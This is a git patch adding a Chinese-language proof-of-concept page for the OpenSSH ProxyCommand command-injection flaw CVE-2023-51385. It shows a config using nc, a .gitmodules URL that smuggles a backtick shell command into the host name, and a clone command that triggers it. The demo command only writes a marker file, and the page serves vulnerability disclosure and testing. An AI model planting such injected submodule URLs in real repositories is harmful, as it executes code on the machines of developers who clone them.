From 1202d1e640169f16ca345ec80b106e2b5d682a8f Mon Sep 17 00:00:00 2001
From: wy876 <139549762+wy876@users.noreply.github.com>
Date: Tue, 26 Dec 2023 20:01:48 +0800
Subject: [PATCH] =?UTF-8?q?Create=20OpenSSH=20ProxyCommand=E5=91=BD?=
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+## OpenSSH ProxyCommand命令注入漏洞 (CVE-2023-51385)
+SSHProxyCommand是一个用于代理SSH连接的广泛使用的功能，允许用户指定用于连接到服务器的自定义命令。该功能的参数中可能包含像%h（主机名）和%u（用户名）这样的标记。然而，当主机名来自不受信任的来源时，存在潜在的安全风险，因为可能构造恶意主机名，看起来像“恶意命令”，并通过反引号执行Shell命令。
+
+首先需要在~/.ssh/config增加如下
+```
+host *.example.com
+  ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p
+```
+.gitmodules文件语句中存在命令注入
+```
+url = ssh://`echo helloworld > cve.txt`foo.example.com/bar
+```
+配置完成后,执行下面的指令触发
+```
+git clone https://github.com/wy876/CVE-2023-51385_test --recurse-submodules
+```
+如果成功执行将会在CVE-2023-51385_test目录下生成cve.txt文件
+
+![image](https://github.com/wy876/POC/assets/139549762/ab5f8d1a-2cd0-48af-8828-28447f809ad5)
+
+
+## 漏洞来源
+- https://vin01.github.io/piptagole/ssh/security/openssh/libssh/remote-code-execution/2023/12/20/openssh-proxycommand-libssh-rce.html